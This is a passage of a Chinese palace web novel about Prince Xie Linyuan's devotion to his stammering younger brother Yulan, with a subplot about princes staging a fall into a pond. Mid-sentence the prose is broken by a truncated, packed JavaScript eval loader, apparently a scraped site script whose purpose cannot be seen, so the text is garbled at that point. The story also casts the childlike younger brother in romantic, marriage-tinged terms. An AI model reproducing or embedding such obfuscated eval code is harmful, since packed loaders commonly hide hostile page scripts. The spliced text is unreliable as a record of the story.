“意思是..玉阑在皇兄这里,可以随便撒娇,可以随便找皇兄要抱抱,也可以随便和皇兄嬉戏,就像玉阑和兔子一样,皇兄也想和玉阑亲密。”谢临沅解释道。 可以随便和皇兄撒娇。 随便找皇兄要抱抱。 谢玉阑以为自己高兴上头时越界的举动,在谢临沅眼中都是撒娇。 直到此时此刻,谢玉阑才知道,他的皇兄是渴求和自己亲密的。他以为谢临沅仅仅只是在尽皇兄的责任,却因被困冷宫十年,从不知晓在这宫闱中兄弟之间心计最多,更何论去尽兄长之责。 谢临沅对谢玉阑所有的一举一动,皆是心甘情愿。 亦是甘之如饴。 他只是待人性子温和,不代表谢临沅能对那些皇弟宽容纵容。 谢玉阑是唯一的例外。 谢临沅没说话,只是静静等谢玉阑消化着。 可他没等到谢玉阑开口,却等到一颗豆大的泪珠落在自己的睫毛上。 谢临沅下意识眨眼,那颗晶莹的泪珠便滑落在他的唇瓣。 咸的。 他抬起头,就见谢玉阑哭了。 “不哭了。”谢临沅拿出在醉仙楼时给谢玉阑拭泪的手帕,轻轻按压着湿痕。 “皇、皇兄....”谢玉阑声音哽咽,嗓音却很小,似是怕被人听见自己哭了一般。 “皇兄在。” 谢玉阑呼吸很轻,抓住谢临沅的手指:“皇、皇兄很、很爱、爱玉、玉阑?像、像娘、娘亲爱、爱玉、玉阑一、一样。” 他声音小心翼翼的,好像害怕下一秒就听见谢临沅的否认。 谢临沅反握住谢玉阑的手指,应道:“皇兄很爱玉阑。” 谢玉阑没继续说话,只是往谢临沅怀里钻了钻。 似乎这个动作能让谢玉阑得到安全感。 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢玉阑吃了一个糖饼还没有吃饱,他给谢临沅夹了很多菜。 “怎么突然对皇兄这么好?”谢临沅笑着问道。 谢玉阑往口中吃了一口饭,鼓着脸颊含糊说道:“因、因为玉、玉阑也、也爱、皇、皇兄。” 谢玉阑今日雀跃不已,他知道不止自己渴望和谢临沅亲密,谢临沅也是同样的。 “皇兄知道了。”谢临沅也给谢玉阑夹了一道菜。 吃完晚膳,谢临沅带着谢玉阑出去看星星。 谢玉阑在冷宫时没见过这么繁密的星星,他趴在躺在藤椅的谢临沅怀中,指着天上的星星问道:“为、为什么有、有星星。” 谢临沅思索片刻,回道:“因为去世的人都变成了星星在天上看着我们。” 闻言,谢玉阑眼睛一亮:“娘亲也、也变、变成星、星星了么?” “对。” 听见谢临沅的肯定,谢玉阑抱住谢临沅的腰说道:“娘、娘亲,不、不要担、担心玉、玉阑,玉、玉阑有、有皇、皇兄了。” 14.捡到老婆第14天 谢临沅听见谢玉阑的话,掌心抚上谢玉阑的腰身,他用下巴在谢玉阑的发顶蹭了一下,应道:“嗯,玉阑有皇兄了。” 谢玉阑仰着脑袋看着天上的星星,一时没说话,不知道在想些什么。 空气一时寂静,觉察到谢玉阑良久都没有说话,谢临沅低头,便见谢玉阑在自己怀中睡了过去。 他将谢玉阑抱起,放回床榻上,随后关上门走了出去。 一个身着黑衣的蒙面人从另一侧走了出来。 “找到人了?”谢临沅的声音不复在谢玉阑面前时的那般温和,处处透露着上位者的威严。 黑衣人取下蒙面,黑暗中那张脸清楚明显,竟是谢临沅身边的宫女剪春。 剪春不似平日穿着宫女襦裙时的温婉,此时此刻浑身透露着血气,她单膝跪在地上:“小殿下口中的那个嬷嬷在多年前便出宫了。” 其实剪春并不是谢临沅在宫中挑选的贴身婢女,而是谢临沅出宫时捡到的一位将死的死士。 剪春一开始也不唤剪春,而是唤黄泉。 “几年前?”谢临沅问道。 “四年前。”剪春应道。 正好是谢玉阑结巴那年。 这二者之间不可能没有任何的关联。 谢临沅走了几步,走到石桌旁坐下,开口:“今日辛苦你了。” 剪春站起身,摇摇头:“只要是殿下的吩咐,剪春定会做到。剪春这条命就是殿下救回来的。” 谢临沅垂眸掩去思绪,说道:“起初也不知晓你是死士,本以为你是被亲人赶出来的寻常女子,可怜你便让你以宫女身份进宫,只是我一直很好奇,你为何愿意和我坦诚你的身份。” 剪春一怔,很快回道:“殿下身侧全是眼线,属下认为殿下需要一个自己人。” 听到剪春这番话,谢临沅点点头:“明日去宫学,照顾好小殿下。” 没等剪春理解到这两句话之间的关联,谢临沅便转身回了卧房。 剪春站在原地,突然理解到了大殿下话中的含义。 只是她没想到谢临沅如此眼尖,看出来自己对谢玉阑十分提防。 而在谢临沅是在隐隐警告自己:不要对谢玉阑有任何想法,他是自己人。 谢临沅回到卧房,熄了烛火,搂着谢玉阑睡去。 许是谢玉阑昨日睡了太多次,今日竟醒的比谢临沅早些。 不过他醒来以后也没有闹谢临沅,而是抬着头打量着谢临沅。 谢临沅就是在这股注视中醒来的,他垂眸,便见怀中的人精神抖擞,睁着一双大眼睛盯着自己瞧。 见谢临沅醒来,谢玉阑露出一个笑,抱住谢临沅的腰往人怀中挤。 谢临沅搂住怀中人的腰,声音带着刚刚睡醒的沙哑:“几时了?” 谢玉阑摇摇头,发丝被他蹭的有些乱:“不、不知、知道。” 话音刚落,门外就传来孟九尘的声音:“回禀殿下,卯时了。” 谢玉阑这才知晓皇兄不是在问自己,他连忙闭紧了嘴巴。 谢临沅自然看见了谢玉阑的小动作,他一时失笑,捏着谢玉阑的脸:“怎么醒这么早?” “梦、梦见皇、皇兄了。”谢玉阑似乎十分贪恋此刻的温存,又往谢临沅怀中挤。 没想到谢玉阑的回答会是这样,谢临沅微微一怔,却很快反应过来,大拇指的指腹在谢玉阑光滑的脸颊上滑着:“梦见皇兄什么了?” “梦、梦见皇、皇兄和、和玉、玉阑了,玉、玉阑在、在和兔、兔子成、成亲。” 过了这么久谢玉阑还惦记着和兔子成亲,谢临沅哭笑不得。 “那皇兄是在吃兔子和玉阑的喜酒吗?”谢临沅问道。 谢玉阑皱着眉毛,似乎在努力回忆梦中的场景,过了一会才回道:“皇、皇兄穿、穿着红、红衣、衣裳,在、在朝玉、玉阑敬、敬酒。” “那皇兄就是在给玉阑主持嘉礼了?” 谢玉阑不懂什么是嘉礼,也不懂为什么自己和皇兄都穿着红衣裳,听见谢临沅的话,认知里皇兄不会说错话的谢玉阑点点脑袋:“嗯、嗯。” “那皇兄以后就给玉阑主持嘉礼了。” 谢临沅往窗外看了一眼,时辰也不早了。 他弯着眸子,抱着谢玉阑从床上起身:“去宫学了。” 给谢玉阑换好衣裳以后谢临沅才开始着衣。 他拉着谢玉阑往卧房外走,就看见待在卧房门外的剪春。 “走吧。” 剪春行礼:“喏。” 到了宫学,今日的宫学却比往日安静了几分。 谢玉阑有些不习惯,他扯扯谢临沅的袖子,问道:“皇、皇兄,好、好安静。” 谢临沅昨日也没来宫学,也不知道发生了何时,只是平日在开课前素来吵闹的宫学都这般安静,他也觉得有些奇怪。 他望向宫学的太监,挥了挥手。 太监见谢临沅唤自己,连忙迎了上去:“大殿下有何事吩咐?” “今日宫学怎的这般安静?”谢临沅问道。 “宫学来了位新夫子,很严格。”太监言简意赅地回答。 谢临沅颔首:“好。” 他拿起自己桌上的书本,便准备去小房间教谢玉阑学习。 刚拉着谢玉阑踏出宫学的门口,就闻到了一股清雅的雪香。 谢玉阑抬起头,就见一位神情冷淡、说不清是女子还是男子的人闯入眼中。 那人也注意到了谢玉阑的视线,他垂下头,抬眸望向谢临沅:“大殿下,不在宫学待着么?” 谢玉阑这才从声音听出眼前的人是男子。 “你是?”谢临沅不认识眼前说话的人,也不知道眼前的人是怎么认识自己的。 “新来的夫子,宋玉声。”宋玉声淡淡介绍道。 谢玉阑将眼前清冷淡雅的人和太监口中严肃的夫子联系起来。 “宋夫子,”谢临沅颔首,回了宋玉声一开始的话,“皇弟和宫学的学习进度不一样,父皇让我亲自教皇弟。” 宋玉声点点头,表示自己知道,随后回道:“去吧。” 待宋玉声走后,谢玉阑歪着头,望着宋玉声远去的背影对谢临沅说道:“宋、宋夫、夫子,好、好看。” 谢临沅望了一眼远去的背影:“是吗?” 语气听不出情绪。 “嗯、嗯!”谢玉阑点点头。 谢临沅垂眸,看着站在自己身旁的谢玉阑,没说话。 他还是觉得他的皇弟更好看些。 不过他没说出口,只是拉着谢玉阑去了转角的小房间。 谢玉阑虽学得慢,却认真,弟子规谢临沅已经教了有不少了。 随着宫学的铃响,谢临沅拿出弟子规,推至谢玉阑面前:“读这篇,然后告诉皇兄你的理解。” 谢玉阑双手捧着书,认真点点头:“好、好。” 两人分别坐在一侧,手中捧着书看。 时间缓慢流逝,谢临沅放下手中的书,问谢玉阑道:“好了吗?” “好、好了。”谢玉阑应道。 “那它讲的是什么意思?” “君、君子要、要...” “来人啊——有人落水了——” 谢玉阑话语一顿,他抬起眸盯着谢临沅:“皇、皇兄。” “出去看看。”谢临沅站起身,往外走去。 走出门外,就见一个太监模样的人正在大喊:“有人落水了——!” “谁?”谢临沅走过去问道。 那太监见来者是大殿下,神色有些紧张:“二、二皇子落、落水了。” “二弟现在不该在宫学中么?”谢临沅蹙眉反问。 太监眼神乱晃,似是害怕,最后还是鼓起勇气回道:“今日四皇子禁闭解除了。” 谢临沅眉头皱得更紧,他知道这个四弟。 他的四弟向来孤僻,上次关禁闭就是因为和二皇子发生了争执。 “带我去吧。” 太监点点头,“殿下跟奴才来。” 等到了后,却没发现二皇子的踪影。 宫学的池旁站着方才谢玉阑才见过的纤瘦身影。 谢玉阑扯扯谢临沅的衣袖:“宋、宋夫、夫子。” 他声音极小,却不知怎的被宋玉声听见了。 他转过身,那双清冷的眸子弯了一下:“小殿下,又见面了。” 意识到宋玉声在和自己说话,谢玉阑的眼睛亮了亮,他点点头回道:“夫、夫子好。” “二殿下呢?不是落入水中了?”谢临沅没有看见谢则闵的身影。 太监心下一惊:“二、二殿下可、可能起来了。” 他说话的语气竟有些结巴。 宋玉声看了那位太监一眼,淡淡说道:“落入水中的是四殿下。” 太监神色一变,下意识开口:“怎么可能?” 谢临沅见这太监的反应就明白了情况到底是怎么一回事。 “把谢则闵和谢执都找来。”他敛眸,握住谢玉阑的手,将人拉走了。 宫学偏殿。 谢临沅坐在殿前,看着趴在自己膝盖上读着弟子规的谢玉阑,心下一软:“玉阑等累了吗?” 因谢执落了水,回去换衣裳了,就在这等了一会。 谢玉阑闻言摇摇头,下巴蹭着少年的膝盖:“不、不累。” 他看向起初那位引路的太监:“谢则闵的太傅呢?” “高太傅马上就来。”太监磕磕绊绊地回道。 谢临沅嗯了一声。 “辛苦宋夫子在这久等了。”谢临沅说道。 “不辛苦。” 宋玉声上前走了几步,蹲在谢玉阑跟前,问道:“还不知道八殿下唤什么呢。” 意识到眼前的漂亮夫子是在和自己说话,谢玉阑的注意从弟子规落在了宋玉声的话伤,他回道:“谢、谢玉、玉阑。” “玉阑?”宋玉声轻声道,“真巧,我们名字都有个玉字。” 谢玉阑正要回应,厚重的门被推开,发出沉重的声音。 他抬头,就看见穿着一身黑衣的少年走了进来。 谢执一头黑发略显凌乱,几缕额发黏浊垂落。脖颈与手腕的骨骼线条突出,手指修长但关节发红,像是在水中被冻着了一样。 “皇兄。”谢执低声唤道。 谢临沅颔首:“可有受伤?” 他摇摇头:“未曾。” “坐下吧。” 谢执抬起那漆黑的双瞳,看了一眼蹲在谢玉阑身前的宋玉声,抿着唇没吭声,径直找了个座位坐下。 没多久,谢则闵也来了,他第一眼就看见了坐在木椅上的谢执,神色有些扭曲:“谢执!你——” 话还没说完,就被谢临沅打断了。 “谢则闵。” 谢则闵话语一顿,就见谢临沅看不 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谢执因此被皇帝关了一个月禁闭,今日才出来。 谢则闵则顶着被打出来的脸在宫学中,他极为敏感,觉得那些贵族小姐都在嘲笑自己,这让他对谢执愈发讨厌。 “谢执——你!”谢则闵明显也想起来了,他声音含着怒气,快步走到谢执面前,拳头高高举起。 一旁的谢玉阑见两人要打起来,连忙扯扯谢临沅的衣角:“皇、皇兄。” 谢临沅敛眸,看着谢玉阑焦急的模样,最终还是拦住了两人火药纷飞的行为:“够了,你们皇弟还在这,别带坏小孩子。” 谢则闵举起的拳头在空中收紧,却架不住谢临沅平静的视线,还是放下。 “都坐下。” 等到谢则闵也落座,谢临沅看着还蹲在谢玉阑面前的宋玉声:“宋夫子一直蹲着,腿不麻吗?” 宋玉声轻轻睨了谢临沅一眼:“大皇子腿不麻?” 谢临沅看着趴在自己腿上的谢玉阑,怕人滑下去,捞了一把让谢玉阑离他近些,随即温声开口:“玉阑很轻,宋夫子既想留着,还是落座吧。” “多谢大皇子关心。”宋玉声站起身,在谢执和谢则闵中间坐下。 殿内一时间一片安静。 谢临沅看向站在角落的太监,问道:“既然落水的四弟,为何这位太监说落水的二弟?” 太监咽了咽口水:“回禀大殿下,奴才..奴才...” 这太监一时想不出怎么说,竟结巴了起来。 几秒后,这太监才继续说道:“奴才可能是看错了。” 谢玉阑意识到现在的氛围不对,他从谢临沅腿上爬了起来,视线在谢则闵和谢执之间打量着。 他也听见了太监的话,歪了歪脑袋,声音疑惑:“可、可他们身、身形不、不一、一样啊。” 孩童的话总是一阵见血,太监的脸彻底白了。 因为谢玉阑没有说错,谢则闵和谢执的身形差距实在过大。 谢则闵喜欢习武,一身腱子肉,远远看去就像一堵墙。而谢执身形看上去却很纤细。 谢临沅抬眸看向太监:“你怎么看错的?” 太监闭紧了嘴,垂着头不再说话。 一声轻笑响起,是宋玉声。 “让我猜猜,”他淡淡说道,“想必是二皇子想要通过自己落水来陷害四皇子,却没想到被四皇子反将了一军吧?” 谢则闵猛地站起身,指着谢执说道:“他自己发神经病跳进水里,我懒得和他争执才走的!和我有什么事!谢执就不是个好人!” 被人指着的谢执却格外平静,他走到殿中,在谢临沅跟前跪下,声音坚毅开口:“请大哥明见。” 谢临沅不知道在想些什么:“行了,此事我会一五一十地禀告父皇,你们走吧。” 他顿了顿,又道:“谢执留下。” 谢则闵满脸怒气拂袖起身离开,那太监等谢则闵走远后才走。 宋玉声却没走。 他看着还跪在地上的谢执,又看了眼似乎早已看透的谢临沅,主动挑破:“想不到四皇子还有这等魄力。” 谢执垂眸,盯着地面:“听不懂。” “确实就像二皇子所说,你是自己跳入水中的,那太监是你吩咐的,对吧?”宋玉声见谢执不承认,也不恼,依旧端着那副冷清清的样子。 “大皇子也不也是看出来了?”宋玉声补充道。 谢执听见这句话神色才有了几分波动:“大哥...” 知道事情究竟是什么回事,谢临沅站起身对谢执说道:“今日之事我只会按你们口中所讲告诉父皇,至于父皇如果判断,就是父皇的事情了。” 谢临沅将谢玉阑交给了宋玉声,转身去了御书房。 皇帝听完谢临沅的话,思索了一会,对身侧的太监说道:“罚二皇子抄写四书五经,再往四皇子宫中送些东西。” “喏。” 皇帝又和谢临沅聊了一些朝堂之事,谢临沅午时才得以脱身,刚回到宫学,就见谢玉阑在宋玉声跟前笑得格外开心。 谢临沅和宋玉声对视了一眼,就见宋玉声在谢玉阑耳畔说了什么。 下一秒,谢临沅就看见谢玉阑转过头,眼睛亮亮地盯着自己:“皇、皇兄,宋、宋夫、夫子说,穿红、红衣、衣裳,才是、是在成、成亲。”